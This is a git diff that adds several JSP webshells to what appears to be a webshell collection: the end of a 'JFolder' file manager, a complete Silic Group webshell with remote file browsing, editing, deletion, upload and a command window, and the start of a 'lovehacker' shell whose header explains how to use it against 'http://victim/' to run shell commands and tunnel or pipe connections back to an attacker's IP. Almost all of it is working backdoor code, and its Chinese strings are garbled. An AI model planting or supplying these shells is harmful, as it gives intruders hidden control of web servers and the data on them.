{ + response.setHeader("content-type","text/html; charset=ISO-8859-1"); + response.setContentType("APPLICATION/OCTET-STREAM"); + response.setHeader("Content-Disposition","attachment; filename=\""+f.getName()+"\""); + FileInputStream fileInputStream =new FileInputStream(f.getAbsolutePath()); + out.clearBuffer(); + int i; + while ((i=fileInputStream.read()) != -1) + { + out.write(i); + } + fileInputStream.close(); + out.close(); + } +} + +if(strAction!=null && strAction.equals("del")) +{ + File f=new File(strPath); + f.delete(); +} + +if(strAction!=null && strAction.equals("edit")) +{ + File f=new File(strPath); + BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f))); + sbEdit.append("
    \r\n"); + sbEdit.append("\r\n"); + sbEdit.append("\r\n"); + sbEdit.append("\r\n"); + sbEdit.append(" "); + sbEdit.append("  "+strPath+"\r\n"); + sbEdit.append("
    "); + sbEdit.append(""); + sbEdit.append("
    "); +} + +if(strAction!=null && strAction.equals("save")) +{ + File f=new File(strPath); + BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f))); + String strContent=request.getParameter("content"); + bw.write(strContent); + bw.close(); +} +if(strAction!=null && strAction.equals("copy")) +{ + File f=new File(strPath); + sbCopy.append("
    \r\n"); + sbCopy.append("\r\n"); + sbCopy.append("\r\n"); + sbCopy.append("\r\n"); + sbCopy.append("ԭʼļ "+strPath+"

    "); + sbCopy.append("Ŀļ

    "); + sbCopy.append(" "); + sbCopy.append("

     \r\n"); + sbCopy.append("

    "); +} +if(strAction!=null && strAction.equals("savecopy")) +{ + File f=new File(strPath); + String strDesFile=request.getParameter("file2"); + if(strDesFile==null || strDesFile.equals("")) + { + sbSaveCopy.append("

    Ŀļ"); + } + else + { + File f_des=new File(strDesFile); + if(f_des.isFile()) + { + sbSaveCopy.append("

    ĿļѴ,ܸơ"); + } + else + { + String strTmpFile=strDesFile; + if(f_des.isDirectory()) + { + if(!strDesFile.endsWith("\\")) + { + strDesFile=strDesFile+"\\"; + } + strTmpFile=strDesFile+"cqq_"+strFile; + } + + File f_des_copy=new File(strTmpFile); + FileInputStream in1=new FileInputStream(f); + FileOutputStream out1=new FileOutputStream(f_des_copy); + byte[] buffer=new byte[1024]; + int c; + while((c=in1.read(buffer))!=-1) + { + out1.write(buffer,0,c); + } + in1.close(); + out1.close(); + + sbSaveCopy.append("ԭʼļ "+strPath+"

    "); + sbSaveCopy.append("Ŀļ "+strTmpFile+"

    "); + sbSaveCopy.append("Ƴɹ"); + } + } + sbSaveCopy.append("

    "); +} +if(strAction!=null && strAction.equals("newFile")) +{ + String strF=request.getParameter("fileName"); + String strType1=request.getParameter("btnNewFile"); + String strType2=request.getParameter("btnNewDir"); + String strType=""; + if(strType1==null) + { + strType="Dir"; + } + else if(strType2==null) + { + strType="File"; + } + if(!strType.equals("") && !(strF==null || strF.equals(""))) + { + File f_new=new File(strF); + if(strType.equals("File") && !f_new.createNewFile()) + sbNewFile.append(strF+" ļʧ"); + if(strType.equals("Dir") && !f_new.mkdirs()) + sbNewFile.append(strF+" Ŀ¼ʧ"); + } + else + { + sbNewFile.append("

    ļĿ¼"); + } +} + +if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith("multipart"))) +{ + String tempdir="."; + boolean error=false; + response.setContentType("text/html"); + sbNewFile.append("

    ļĿ¼"); + HttpMultiPartParser parser = new HttpMultiPartParser(); + + int bstart = request.getContentType().lastIndexOf("oundary="); + String bound = request.getContentType().substring(bstart + 8); + int clength = request.getContentLength(); + Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength); + if (ht.get("cqqUploadFile") != null) + { + + FileInfo fi = (FileInfo) ht.get("cqqUploadFile"); + File f1 = fi.file; + UplInfo info = UploadMonitor.getInfo(fi.clientFileName); + if (info != null && info.aborted) + { + f1.delete(); + request.setAttribute("error", "Upload aborted"); + } + else + { + String path = (String) ht.get("path"); + if(path!=null && !path.endsWith("\\")) + path = path + "\\"; + if (!f1.renameTo(new File(path + f1.getName()))) + { + request.setAttribute("error", "Cannot upload file."); + error = true; + f1.delete(); + } + } + } +} +%> + + + + + + + +JFoler 0.9 ---A jsp based web folder management tool by Steven Cee + + + + + +

    + + + + + + +
    + + + + + + +<% +StringBuffer sbFolder=new StringBuffer(""); +StringBuffer sbFile=new StringBuffer(""); +try +{ + File objFile = new File(strDir); + File list[] = objFile.listFiles(); + if(objFile.getAbsolutePath().length()>3) + { + sbFolder.append(" "); + sbFolder.append(strParentFolder[languageNo]+"
    - - - - - - - - - - - \r\n "); + + + } + for(int i=0;i "); + sbFolder.append(" "); + sbFolder.append(list[i].getName()+"
    "); + } + else + { + String strLen=""; + String strDT=""; + long lFile=0; + lFile=list[i].length(); + strLen = convertFileSize(lFile); + Date dt=new Date(list[i].lastModified()); + strDT=dt.toLocaleString(); + sbFile.append(""); + sbFile.append(""+list[i].getName()); + sbFile.append(""); + sbFile.append(""+strLen); + sbFile.append(""); + sbFile.append(""+strDT); + sbFile.append(""); + + sbFile.append("  "); + sbFile.append(strFileEdit[languageNo]+" "); + + sbFile.append("  "); + sbFile.append(strFileDel[languageNo]+" "); + + sbFile.append("  "); + sbFile.append(strFileDown[languageNo]+" "); + + sbFile.append("  "); + sbFile.append(strFileCopy[languageNo]+" "); + } + + } +} +catch(Exception e) +{ + out.println("ʧܣ "+e.toString()+""); +} +%> + +
    + + + + + + + + + +
    +

    +
    www.topronet.com ,All Rights Reserved. +
    Any question, please email me cqq1978@Gmail.com + diff --git a/jsp/silic webshell.jsp b/jsp/silic webshell.jsp new file mode 100644 index 0000000..a4ce98c --- /dev/null +++ b/jsp/silic webshell.jsp @@ -0,0 +1,844 @@ +<%@ page contentType="text/html;charset=gb2312"%> +<%@page import="java.io.*,java.util.*,java.net.*" %> +<%! +private final static int languageNo=0; +String strThisFile="JFolder.jsp"; +String[] authorInfo={"Silic Group"}; +String[] strFileManage = {" ","File Management"}; +String[] strCommand = {"CMD ","Command Window"}; +String[] strSysProperty = {"ϵ ͳ ","System Property"}; +String[] strHelp = {" ","Help"}; +String[] strParentFolder = {"ϼĿ¼","Parent Folder"}; +String[] strCurrentFolder= {"ǰĿ¼","Current Folder"}; +String[] strDrivers = {"","Drivers"}; +String[] strFileName = {"ļ","File Name"}; +String[] strFileSize = {"ļС","File Size"}; +String[] strLastModified = {"޸","Last Modified"}; +String[] strFileOperation= {"ļ","Operations"}; +String[] strFileEdit = {"޸","Edit"}; +String[] strFileDown = {"","Download"}; +String[] strFileCopy = {"","Move"}; +String[] strFileDel = {"ɾ","Delete"}; +String[] strExecute = {"ִ","Execute"}; +String[] strBack = {"","Back"}; +String[] strFileSave = {"","Save"}; +public class FileHandler +{ + private String strAction=""; + private String strFile=""; + void FileHandler(String action,String f) + { + } +} +public static class UploadMonitor { + static Hashtable uploadTable = new Hashtable(); + static void set(String fName, UplInfo info) { + uploadTable.put(fName, info); + } + static void remove(String fName) { + uploadTable.remove(fName); + } + static UplInfo getInfo(String fName) { + UplInfo info = (UplInfo) uploadTable.get(fName); + return info; + } +} +public class UplInfo { + public long totalSize; + public long currSize; + public long starttime; + public boolean aborted; + public UplInfo() { + totalSize = 0l; + currSize = 0l; + starttime = System.currentTimeMillis(); + aborted = false; + } + public UplInfo(int size) { + totalSize = size; + currSize = 0; + starttime = System.currentTimeMillis(); + aborted = false; + } + public String getUprate() { + long time = System.currentTimeMillis() - starttime; + if (time != 0) { + long uprate = currSize * 1000 / time; + return convertFileSize(uprate) + "/s"; + } + else return "n/a"; + } + public int getPercent() { + if (totalSize == 0) return 0; + else return (int) (currSize * 100 / totalSize); + } + public String getTimeElapsed() { + long time = (System.currentTimeMillis() - starttime) / 1000l; + if (time - 60l >= 0){ + if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; + else return time / 60 + ":0" + (time % 60) + "m"; + } + else return time<10 ? "0" + time + "s": time + "s"; + } + public String getTimeEstimated() { + if (currSize == 0) return "n/a"; + long time = System.currentTimeMillis() - starttime; + time = totalSize * time / currSize; + time /= 1000l; + if (time - 60l >= 0){ + if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; + else return time / 60 + ":0" + (time % 60) + "m"; + } + else return time<10 ? "0" + time + "s": time + "s"; + } +} + public class FileInfo { + public String name = null, clientFileName = null, fileContentType = null; + private byte[] fileContents = null; + public File file = null; + public StringBuffer sb = new StringBuffer(100); + public void setFileContents(byte[] aByteArray) { + fileContents = new byte[aByteArray.length]; + System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length); + } +} +public class HttpMultiPartParser { + private final String lineSeparator = System.getProperty("line.separator", "\n"); + private final int ONE_MB = 1024 * 1; + public Hashtable processData(ServletInputStream is, String boundary, String saveInDir, + int clength) throws IllegalArgumentException, IOException { + if (is == null) throw new IllegalArgumentException("InputStream"); + if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException( + "\"" + boundary + "\" is an illegal boundary indicator"); + boundary = "--" + boundary; + StringTokenizer stLine = null, stFields = null; + FileInfo fileInfo = null; + Hashtable dataTable = new Hashtable(5); + String line = null, field = null, paramName = null; + boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0); + boolean isFile = false; + if (saveFiles) { // Create the required directory (including parent dirs) + File f = new File(saveInDir); + f.mkdirs(); + } + line = getLine(is); + if (line == null || !line.startsWith(boundary)) throw new IOException( + "Boundary not found; boundary = " + boundary + ", line = " + line); + while (line != null) { + if (line == null || !line.startsWith(boundary)) return dataTable; + line = getLine(is); + if (line == null) return dataTable; + stLine = new StringTokenizer(line, ";\r\n"); + if (stLine.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in second line"); + line = stLine.nextToken().toLowerCase(); + if (line.indexOf("form-data") < 0) throw new IllegalArgumentException( + "Bad data in second line"); + stFields = new StringTokenizer(stLine.nextToken(), "=\""); + if (stFields.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in second line"); + fileInfo = new FileInfo(); + stFields.nextToken(); + paramName = stFields.nextToken(); + isFile = false; + if (stLine.hasMoreTokens()) { + field = stLine.nextToken(); + stFields = new StringTokenizer(field, "=\""); + if (stFields.countTokens() > 1) { + if (stFields.nextToken().trim().equalsIgnoreCase("filename")) { + fileInfo.name = paramName; + String value = stFields.nextToken(); + if (value != null && value.trim().length() > 0) { + fileInfo.clientFileName = value; + isFile = true; + } + else { + line = getLine(is); // Skip "Content-Type:" line + line = getLine(is); // Skip blank line + line = getLine(is); // Skip blank line + line = getLine(is); // Position to boundary line + continue; + } + } + } + else if (field.toLowerCase().indexOf("filename") >= 0) { + line = getLine(is); // Skip "Content-Type:" line + line = getLine(is); // Skip blank line + line = getLine(is); // Skip blank line + line = getLine(is); // Position to boundary line + continue; + } + } + boolean skipBlankLine = true; + if (isFile) { + line = getLine(is); + if (line == null) return dataTable; + if (line.trim().length() < 1) skipBlankLine = false; + else { + stLine = new StringTokenizer(line, ": "); + if (stLine.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in third line"); + stLine.nextToken(); // Content-Type + fileInfo.fileContentType = stLine.nextToken(); + } + } + if (skipBlankLine) { + line = getLine(is); + if (line == null) return dataTable; + } + if (!isFile) { + line = getLine(is); + if (line == null) return dataTable; + dataTable.put(paramName, line); + // If parameter is dir, change saveInDir to dir + if (paramName.equals("dir")) saveInDir = line; + line = getLine(is); + continue; + } + try { + UplInfo uplInfo = new UplInfo(clength); + UploadMonitor.set(fileInfo.clientFileName, uplInfo); + OutputStream os = null; + String path = null; + if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir, + fileInfo.clientFileName)); + else os = new ByteArrayOutputStream(ONE_MB); + boolean readingContent = true; + byte previousLine[] = new byte[2 * ONE_MB]; + byte temp[] = null; + byte currentLine[] = new byte[2 * ONE_MB]; + int read, read3; + if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) { + line = null; + break; + } + while (readingContent) { + if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) { + line = null; + uplInfo.aborted = true; + break; + } + if (compareBoundary(boundary, currentLine)) { + os.write(previousLine, 0, read - 2); + line = new String(currentLine, 0, read3); + break; + } + else { + os.write(previousLine, 0, read); + uplInfo.currSize += read; + temp = currentLine; + currentLine = previousLine; + previousLine = temp; + read = read3; + }//end else + }//end while + os.flush(); + os.close(); + if (!saveFiles) { + ByteArrayOutputStream baos = (ByteArrayOutputStream) os; + fileInfo.setFileContents(baos.toByteArray()); + } + else fileInfo.file = new File(path); + dataTable.put(paramName, fileInfo); + uplInfo.currSize = uplInfo.totalSize; + }//end try + catch (IOException e) { + throw e; + } + } + return dataTable; + } + private boolean compareBoundary(String boundary, byte ba[]) { + byte b; + if (boundary == null || ba == null) return false; + for (int i = 0; i < boundary.length(); i++) + if ((byte) boundary.charAt(i) != ba[i]) return false; + return true; + } + private synchronized String getLine(ServletInputStream sis) throws IOException { + byte b[] = new byte[1024]; + int read = sis.readLine(b, 0, b.length), index; + String line = null; + if (read != -1) { + line = new String(b, 0, read); + if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1); + } + return line; + } + public String getFileName(String dir, String fileName) throws IllegalArgumentException { + String path = null; + if (dir == null || fileName == null) throw new IllegalArgumentException( + "dir or fileName is null"); + int index = fileName.lastIndexOf('/'); + String name = null; + if (index >= 0) name = fileName.substring(index + 1); + else name = fileName; + index = name.lastIndexOf('\\'); + if (index >= 0) fileName = name.substring(index + 1); + path = dir + File.separator + fileName; + if (File.separatorChar == '/') return path.replace('\\', File.separatorChar); + else return path.replace('/', File.separatorChar); + } +} +String formatPath(String p) +{ + StringBuffer sb=new StringBuffer(); + for (int i = 0; i < p.length(); i++) + { + if(p.charAt(i)=='\\') + { + sb.append("\\\\"); + } + else + { + sb.append(p.charAt(i)); + } + } + return sb.toString(); +} + static String conv2Html(int i) { + if (i == '&') return "&"; + else if (i == '<') return "<"; + else if (i == '>') return ">"; + else if (i == '"') return """; + else return "" + (char) i; + } + static String htmlEncode(String st) { + StringBuffer buf = new StringBuffer(); + for (int i = 0; i < st.length(); i++) { + buf.append(conv2Html(st.charAt(i))); + } + return buf.toString(); + } +String getDrivers() +{ + StringBuffer sb=new StringBuffer(strDrivers[languageNo] + " : "); + File roots[]=File.listRoots(); + for(int i=0;i"); + sb.append(roots[i]+" "); + } + return sb.toString(); +} +static String convertFileSize(long filesize) +{ + String strUnit="Bytes"; + String strAfterComma=""; + int intDivisor=1; + if(filesize>=1024*1024) + { + strUnit = "MB"; + intDivisor=1024*1024; + } + else if(filesize>=1024) + { + strUnit = "KB"; + intDivisor=1024; + } + if(intDivisor==1) return filesize + " " + strUnit; + strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ; + if(strAfterComma=="") strAfterComma=".0"; + return filesize / intDivisor + "." + strAfterComma + " " + strUnit; +} +%> +<% +request.setCharacterEncoding("gb2312"); +String tabID = request.getParameter("tabID"); +String strDir = request.getParameter("path"); +String strAction = request.getParameter("action"); +String strFile = request.getParameter("file"); +String strPath = strDir + "\\" + strFile; +String strCmd = request.getParameter("cmd"); +StringBuffer sbEdit=new StringBuffer(""); +StringBuffer sbDown=new StringBuffer(""); +StringBuffer sbCopy=new StringBuffer(""); +StringBuffer sbSaveCopy=new StringBuffer(""); +StringBuffer sbNewFile=new StringBuffer(""); +if((tabID==null) || tabID.equals("")) +{ + tabID = "1"; +} +if(strDir==null||strDir.length()<1) +{ + strDir = request.getRealPath("/"); +} +if(strAction!=null && strAction.equals("down")) +{ + File f=new File(strPath); + if(f.length()==0) + { + sbDown.append("ļСΪ 0 ֽڣͲ˰"); + } + else + { + response.setHeader("content-type","text/html; charset=ISO-8859-1"); + response.setContentType("APPLICATION/OCTET-STREAM"); + response.setHeader("Content-Disposition","attachment; filename=\""+f.getName()+"\""); + FileInputStream fileInputStream =new FileInputStream(f.getAbsolutePath()); + out.clearBuffer(); + int i; + while ((i=fileInputStream.read()) != -1) + { + out.write(i); + } + fileInputStream.close(); + out.close(); + } +} +if(strAction!=null && strAction.equals("del")) +{ + File f=new File(strPath); + f.delete(); +} +if(strAction!=null && strAction.equals("edit")) +{ + File f=new File(strPath); + BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f))); + sbEdit.append("
    \r\n"); + sbEdit.append("\r\n"); + sbEdit.append("\r\n"); + sbEdit.append("\r\n"); + sbEdit.append(" "); + sbEdit.append("  "+strPath+"\r\n"); + sbEdit.append("
    "); + sbEdit.append(""); + sbEdit.append("
    "); +} +if(strAction!=null && strAction.equals("save")) +{ + File f=new File(strPath); + BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f))); + String strContent=request.getParameter("content"); + bw.write(strContent); + bw.close(); +} +if(strAction!=null && strAction.equals("copy")) +{ + File f=new File(strPath); + sbCopy.append("
    \r\n"); + sbCopy.append("\r\n"); + sbCopy.append("\r\n"); + sbCopy.append("\r\n"); + sbCopy.append("ԭʼļ "+strPath+"

    "); + sbCopy.append("Ŀļ

    "); + sbCopy.append(" "); + sbCopy.append("

     \r\n"); + sbCopy.append("

    "); +} +if(strAction!=null && strAction.equals("savecopy")) +{ + File f=new File(strPath); + String strDesFile=request.getParameter("file2"); + if(strDesFile==null || strDesFile.equals("")) + { + sbSaveCopy.append("

    Ŀļ"); + } + else + { + File f_des=new File(strDesFile); + if(f_des.isFile()) + { + sbSaveCopy.append("

    ĿļѴ,ܸơ"); + } + else + { + String strTmpFile=strDesFile; + if(f_des.isDirectory()) + { + if(!strDesFile.endsWith("\\")) + { + strDesFile=strDesFile+"\\"; + } + strTmpFile=strDesFile+"cqq_"+strFile; + } + File f_des_copy=new File(strTmpFile); + FileInputStream in1=new FileInputStream(f); + FileOutputStream out1=new FileOutputStream(f_des_copy); + byte[] buffer=new byte[1024]; + int c; + while((c=in1.read(buffer))!=-1) + { + out1.write(buffer,0,c); + } + in1.close(); + out1.close(); + sbSaveCopy.append("ԭʼļ "+strPath+"

    "); + sbSaveCopy.append("Ŀļ "+strTmpFile+"

    "); + sbSaveCopy.append("Ƴɹ"); + } + } + sbSaveCopy.append("

    "); +} +if(strAction!=null && strAction.equals("newFile")) +{ + String strF=request.getParameter("fileName"); + String strType1=request.getParameter("btnNewFile"); + String strType2=request.getParameter("btnNewDir"); + String strType=""; + if(strType1==null) + { + strType="Dir"; + } + else if(strType2==null) + { + strType="File"; + } + if(!strType.equals("") && !(strF==null || strF.equals(""))) + { + File f_new=new File(strF); + if(strType.equals("File") && !f_new.createNewFile()) + sbNewFile.append(strF+" ļʧ"); + if(strType.equals("Dir") && !f_new.mkdirs()) + sbNewFile.append(strF+" Ŀ¼ʧ"); + } + else + { + sbNewFile.append("

    ļĿ¼ʧ"); + } +} +if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith("multipart"))) +{ + String tempdir="."; + boolean error=false; + response.setContentType("text/html"); + sbNewFile.append("

    ļĿ¼ʧ"); + HttpMultiPartParser parser = new HttpMultiPartParser(); + int bstart = request.getContentType().lastIndexOf("oundary="); + String bound = request.getContentType().substring(bstart + 8); + int clength = request.getContentLength(); + Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength); + if (ht.get("cqqUploadFile") != null) + { + FileInfo fi = (FileInfo) ht.get("cqqUploadFile"); + File f1 = fi.file; + UplInfo info = UploadMonitor.getInfo(fi.clientFileName); + if (info != null && info.aborted) + { + f1.delete(); + request.setAttribute("error", "Upload aborted"); + } + else + { + String path = (String) ht.get("path"); + if(path!=null && !path.endsWith("\\")) + path = path + "\\"; + if (!f1.renameTo(new File(path + f1.getName()))) + { + request.setAttribute("error", "Cannot upload file."); + error = true; + f1.delete(); + } + } + } +} +%> + + + + +::Silic Group:: + + +

    + + + + + + +
    + + + +<% +StringBuffer sbFolder=new StringBuffer(""); +StringBuffer sbFile=new StringBuffer(""); +try +{ + File objFile = new File(strDir); + File list[] = objFile.listFiles(); + if(objFile.getAbsolutePath().length()>3) + { + sbFolder.append(" "); + sbFolder.append(strParentFolder[languageNo]+"
    - - - - - - - - - - - \r\n "); + } + for(int i=0;i "); + sbFolder.append(" "); + sbFolder.append(list[i].getName()+"
    "); + } + else + { + String strLen=""; + String strDT=""; + long lFile=0; + lFile=list[i].length(); + strLen = convertFileSize(lFile); + Date dt=new Date(list[i].lastModified()); + strDT=dt.toLocaleString(); + sbFile.append(""); + sbFile.append(""+list[i].getName()); + sbFile.append(""); + sbFile.append(""+strLen); + sbFile.append(""); + sbFile.append(""+strDT); + sbFile.append(""); + sbFile.append("  "); + sbFile.append(strFileEdit[languageNo]+" "); + sbFile.append("  "); + sbFile.append(strFileDel[languageNo]+" "); + sbFile.append("  "); + sbFile.append(strFileDown[languageNo]+" "); + sbFile.append("  "); + sbFile.append(strFileCopy[languageNo]+" "); + } + + } +} +catch(Exception e) +{ + out.println("ʧܣ "+e.toString()+""); +} +%> +
    + + + + +
    +
    All Rights Reserved, blackbap.org © Silic Group Inc.
    diff --git a/jsp/spjspshell.jsp b/jsp/spjspshell.jsp new file mode 100644 index 0000000..b36557a --- /dev/null +++ b/jsp/spjspshell.jsp @@ -0,0 +1,814 @@ +<% +/* +* WEBSHELL.JSP +* +* Author: lovehacker +* E-mail: wangyun188@hotmail.com +* +* ʹ÷: +* ]http://victim/webshell.jsp?[options] +* options: +* action=piped&remoteHost=&remotePort=&myIp=&myPort= +* action=tunnel&remoteHost=&remotePort=&myPort= +* action=login&username=&password=&myPort= +* action=send&myShell=&myPort=&cmd= +* action=close&myPort= +* action=shell&cmd= +* ӣ +* action=piped&remoteHost=192.168.0.1&remotePort=25&myIp=218.0.0.1&myPort=12345 -- 192.168.0.125˿218.0.0.112345˿NC12345˿ڣ޷ֱӷѿƵWEBijij˿ڣǽδ˸WEBӡ +* action=tunnel&remoteHost=192.168.0.1&remotePort=23&myPort=65534 -- ʵͨʸwebshell.jspijtelnetĹܡԭʵͨwebshell.jspʵֶʵĹܣjspʵΪӣƵĻֻ80˿ڣҷǽInternetַdzijTelnet:-) +* action=login&username=root&password=helloroot&myPort=65534 -- һֻǸҪTelnet̨һſʼ½ҪҪtelnetȷûรҪȻ˭Ҳû취 +* action=send&myShell=&myPort=&cmd= -- һ˳ɣôͿϱִִеˡmyShellǽǣ޷֪ʲôʱýһҪдรٺ٣鷳ޣcmdҪִеˣ磺which ssh棺myShell=lovehacker&cmd=ls -la;echo lovehacker +* action=close&myPort= -- ˳telnet½ϿŵĶ˿ڻûرգҪִֳɨɾ +* action=shell&cmd= -- Ƶִ̨Unix:/bin/sh -c tar vxf xxx.tar Windows:c:\winnt\system32\cmd.exe /c type c:\winnt\win.ini +* ˵ +* ͨjspʵtelnetʱʵͷʹһѣÿһµ̣߳client socketȥ +* telnetֻ޷ʵûĽ˸취telnetĹ̷ֲɣ +* յtunneḷ߳һ˿ڵȴӣһȺԶ̷ö˿Ӳһ +* ֱϿserver socketһһεݣһδεתԶ̷ͿԼ¼״̬ʵ +* ֺûĽˣܾ취̫JSPʵtelnetܣиõİ취Ļһ +* ҪŸҡ +* Ȩ˵ +* ʵTelnetĹҲ˼ҴĻ޸ĵģԣȨûУ޸ġơ +* ֻǼ¹ܱMailһݸร +* +* +*/ +%> +<%@ page import="java.io.*" %> +<%@ page import="java.net.*" %> +<%@ page import="java.util.*" %> +<%@ page import="java.awt.Dimension" %> +<% +class redirector implements Runnable +{ +private redirector companion = null; +private Socket localSocket, remoteSocket; +private InputStream from; +private OutputStream to; +private byte[] buffer = new byte[4096]; + +public redirector(Socket local, Socket remote) +{ +try { +localSocket = local; +remoteSocket = remote; +from = localSocket.getInputStream(); +to = remoteSocket.getOutputStream(); +} catch(Exception e) {} +} + +public void couple(redirector c) { +companion = c; +Thread listen = new Thread(this); +listen.start(); +} + +public void decouple() { companion = null; } + +public void run() +{ +int count; +try { +while(companion != null) { +if((count = from.read(buffer)) < 0) +break; +to.write(buffer, 0, count); +} +} catch(Exception e) {} +try { +from.close(); +to.close(); +localSocket.close(); +remoteSocket.close(); +if(companion != null) companion.decouple(); +} catch(Exception io) {} +} +} + +class redirector1 implements Runnable +{ +private redirector1 companion = null; +private Socket localSocket, remoteSocket; +private InputStream from; +private OutputStream to; +private byte[] buffer = new byte[4096]; + +public redirector1(Socket local, Socket remote) +{ +try { +localSocket = local; +remoteSocket = remote; +from = localSocket.getInputStream(); +to = remoteSocket.getOutputStream(); +} catch(Exception e) {} +} + +public void couple(redirector1 c) { +companion = c; +Thread listen = new Thread(this); +listen.start(); +} + +public void decouple() { companion = null; } + +public void run() +{ +String tmp = ""; +int count; +try { +while(companion != null) { +if((count = from.read(buffer)) < 0) break; +tmp = new String(buffer); +if(tmp.startsWith("--GoodBye--")) +{ +from.close(); +to.close(); +remoteSocket.close(); +localSocket.close(); +System.exit(1); +} +to.write(buffer, 0, count); +} +} catch(Exception e) {} +try { +if(companion != null) companion.decouple(); +} catch(Exception io) {} +} +} + +class piped implements Runnable +{ +String remoteHost1,remoteHost2; +int remotePort1, remotePort2; + +Thread listener, connection; + + +public piped(String raddr1,int rport1, String raddr2, int rport2) +{ +remoteHost1 = raddr1; remotePort1 = rport1; +remoteHost2 = raddr2; remotePort2 = rport2; +listener = new Thread(this); +listener.setPriority(Thread.MIN_PRIORITY); +listener.start(); +} + +public void run() +{ +Socket destinationSocket1 = null; +Socket destinationSocket2 = null; +try { +destinationSocket1 = new Socket(remoteHost1,remotePort1); +destinationSocket2 = new Socket(remoteHost2, remotePort2); +redirector r1 = new redirector(destinationSocket1, destinationSocket2); +redirector r2 = new redirector(destinationSocket2, destinationSocket1); +r1.couple(r2); +r2.couple(r1); +} catch(Exception e) { +try { +DataOutputStream os = new DataOutputStream(destinationSocket2.getOutputStream()); +os.writeChars("Remote host refused connection.\n"); +destinationSocket2.close(); +} catch(IOException ioe) { } +} +} +} + +class tunnel implements Runnable +{ +String remoteHost; +int localPort, remotePort; + +Thread listener, connection; + +ServerSocket server; + +public tunnel(int lport, String raddr, int rport) +{ +localPort = lport; +remoteHost = raddr; remotePort = rport; + +try { +server = new ServerSocket(localPort); +} catch(Exception e) {} + +listener = new Thread(this); +listener.setPriority(Thread.MIN_PRIORITY); +listener.start(); +} + +public void run() +{ +Socket destinationSocket = null; +try{ +destinationSocket = new Socket(remoteHost, remotePort); +}catch(Exception e){} +while(true) +{ +Socket localSocket = null; +try { +localSocket = server.accept(); +} catch(Exception e) { +continue; +} +try { +redirector1 r1 = new redirector1(localSocket, destinationSocket); +redirector1 r2 = new redirector1(destinationSocket, localSocket); +r1.couple(r2); +r2.couple(r1); +} catch(Exception e) { +try { +DataOutputStream os = new DataOutputStream(localSocket.getOutputStream()); +os.writeChars("Remote host refused connection.\n"); +localSocket.close(); +} catch(IOException ioe) {} +continue; +} +} +} +} + +class TelnetIO +{ +public String toString() { return "$Id: TelnetIO.java,v 1.10 1998/02/09 10:22:18 leo Exp $"; } + +private int debug = 0; + +private byte neg_state = 0; + +private final static byte STATE_DATA = 0; +private final static byte STATE_IAC = 1; +private final static byte STATE_IACSB = 2; +private final static byte STATE_IACWILL = 3; +private final static byte STATE_IACDO = 4; +private final static byte STATE_IACWONT = 5; +private final static byte STATE_IACDONT = 6; +private final static byte STATE_IACSBIAC = 7; +private final static byte STATE_IACSBDATA = 8; +private final static byte STATE_IACSBDATAIAC = 9; + +private byte current_sb; + +private final static byte IAC = (byte)255; + +private final static byte EOR = (byte)239; + +private final static byte WILL = (byte)251; + +private final static byte WONT = (byte)252; + +private final static byte DO = (byte)253; + +private final static byte DONT = (byte)254; + +private final static byte SB = (byte)250; + +private final static byte SE = (byte)240; + +private final static byte TELOPT_ECHO = (byte)1; /* echo on/off */ + +private final static byte TELOPT_EOR = (byte)25; /* end of record */ + +private final static byte TELOPT_NAWS = (byte)31; /* NA-WindowSize*/ + +private final static byte TELOPT_TTYPE = (byte)24; /* terminal type */ + +private final byte[] IACWILL = { IAC, WILL }; +private final byte[] IACWONT = { IAC, WONT }; +private final byte[] IACDO = { IAC, DO }; +private final byte[] IACDONT = { IAC, DONT }; +private final byte[] IACSB = { IAC, SB }; +private final byte[] IACSE = { IAC, SE }; + +private final byte TELQUAL_IS = (byte)0; + +private final byte TELQUAL_SEND = (byte)1; + +private byte[] receivedDX; + +private byte[] receivedWX; + +private byte[] sentDX; + +private byte[] sentWX; + +private Socket socket; +private BufferedInputStream is; +private BufferedOutputStream os; + +//private StatusPeer peer = this; /* peer, notified on status */ + +public void connect(String address, int port) throws IOException { +if(debug > 0) System.out.println("Telnet.connect("+address+","+port+")"); +socket = new Socket(address, port); +is = new BufferedInputStream(socket.getInputStream()); +os = new BufferedOutputStream(socket.getOutputStream()); +neg_state = 0; +receivedDX = new byte[256]; +sentDX = new byte[256]; +receivedWX = new byte[256]; +sentWX = new byte[256]; +} + +public void disconnect() throws IOException { +if(debug > 0) System.out.println("TelnetIO.disconnect()"); +if(socket !=null) socket.close(); +} + +public void connect(String address) throws IOException { +connect(address, 23); +} + +//public void setPeer(StatusPeer obj) { peer = obj; } + +public int available() throws IOException +{ +return is.available(); +} + +public byte[] receive() throws IOException { +int count = is.available(); +byte buf[] = new byte[count]; +count = is.read(buf); +if(count < 0) throw new IOException("Connection closed."); +if(debug > 1) System.out.println("TelnetIO.receive(): read bytes: "+count); +buf = negotiate(buf, count); +return buf; +} + +public void send(byte[] buf) throws IOException { +if(debug > 1) System.out.println("TelnetIO.send("+buf+")"); +os.write(buf); +os.flush(); +} + +public void send(byte b) throws IOException { +if(debug > 1) System.out.println("TelnetIO.send("+b+")"); +os.write(b); +os.flush(); +} + +private void handle_sb(byte type, byte[] sbdata, int sbcount) +throws IOException +{ +if(debug > 1) +System.out.println("TelnetIO.handle_sb("+type+")"); +switch (type) { +case TELOPT_TTYPE: +if (sbcount>0 && sbdata[0]==TELQUAL_SEND) { +String ttype; 